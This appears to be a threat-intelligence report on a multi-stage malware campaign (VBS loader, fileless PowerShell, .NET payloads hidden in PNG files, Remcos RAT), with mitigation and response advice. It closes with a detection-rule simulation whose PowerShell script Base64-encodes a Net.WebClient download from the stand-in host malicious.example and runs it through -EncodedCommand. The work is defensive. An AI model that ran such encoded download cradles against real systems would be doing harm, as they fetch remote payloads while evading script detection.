Tracing a Multi-Vector Malware Campaign: From VBS to Open Infrastructure

Summary

The report covers a modular, multi-stage malware campaign that begins with a Unicode-obfuscated VBS loader, transitions to a fileless PowerShell loader, and uses PNG files to hide a .NET assembly that is later executed in memory. From there, the campaign can deliver multiple payloads, including Remcos RAT, UAC bypass DLLs, and Python-based tools. The threat actor hosts the entire toolkit in openly accessible directories under a single .xyz domain and several Cloudflare-backed subdomains, allowing fast payload swaps and multiple delivery paths such as weaponized PDFs and malicious batch scripts.

Investigation

LevelBlue’s MDR SOC detected the initial VBS artifact through SentinelOne, quarantined it, and decoded the script for analysis. Investigators found a Base64-encoded PowerShell command that downloaded PNG files containing embedded .NET assemblies, which were then loaded directly into memory via reflection. Broader infrastructure review exposed open directories serving not only additional VBS loaders, but also malicious batch files, ZIP archives, and Python payloads tied to the same campaign.

Mitigation

Recommended defenses include restricting execution of high-risk script types such as .vbs and .bat from user-writable paths, applying strict controls over PowerShell usage, and monitoring for suspicious in-memory .NET loading. Defenders should also block .xyz domains and closely inspect or restrict WebDAV traffic abused through Internet Shortcut files. At the network layer, filtering access to the known malicious infrastructure can help disrupt the campaign earlier.

Response

If this activity is detected, isolate the impacted endpoint, block all associated domains and URLs, and hunt for the relevant VBS and PowerShell artifacts. Investigators should search memory for the reflected .NET assembly and review the system for scheduled tasks or files created from the exposed directories. Detection content should be updated to identify PNG-based payload staging and any linked batch or Python components tied to the campaign.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  An adversary has obtained a PowerShell one‑liner that downloads a malicious payload from a remote HTTP server and executes it. To evade simple script‑file detection, the command is Base64‑encoded and executed via powershell.exe -EncodedCommand. The command line therefore contains the three strings the rule watches for: powershell, Base64, and Net.WebClient.

  1. The attacker crafts the PowerShell script:

     $wc = New-Object System.Net.WebClient;
     $wc.DownloadString('http://malicious.example/payload');

  2. The script is UTF‑16LE encoded and Base64‑encoded.

  3. The attacker runs the encoded command from a Windows command prompt (or a scheduled task).

• Regression Test Script:

  # --------------------------------------------------------------
  # PowerShell script to simulate the Base64‑encoded Net.WebClient download
  # --------------------------------------------------------------
  
  # 1. Define the malicious PowerShell one‑liner
  $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
  
  # 2. Encode the command in UTF‑16LE and then Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # 3. Execute the encoded command – this line generates the telemetry
  #    that the Sigma rule is looking for (powershell + Base64 + Net.WebClient)
  powershell.exe -EncodedCommand $b64

• Cleanup Commands:

  # --------------------------------------------------------------
  # Cleanup – terminate any stray PowerShell processes started by the test
  # --------------------------------------------------------------
  
  Get-Process -Name powershell -ErrorAction SilentlyContinue |
      Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
      Stop-Process -Force
  
  # Remove any temporary files (none created in this test)

End of Report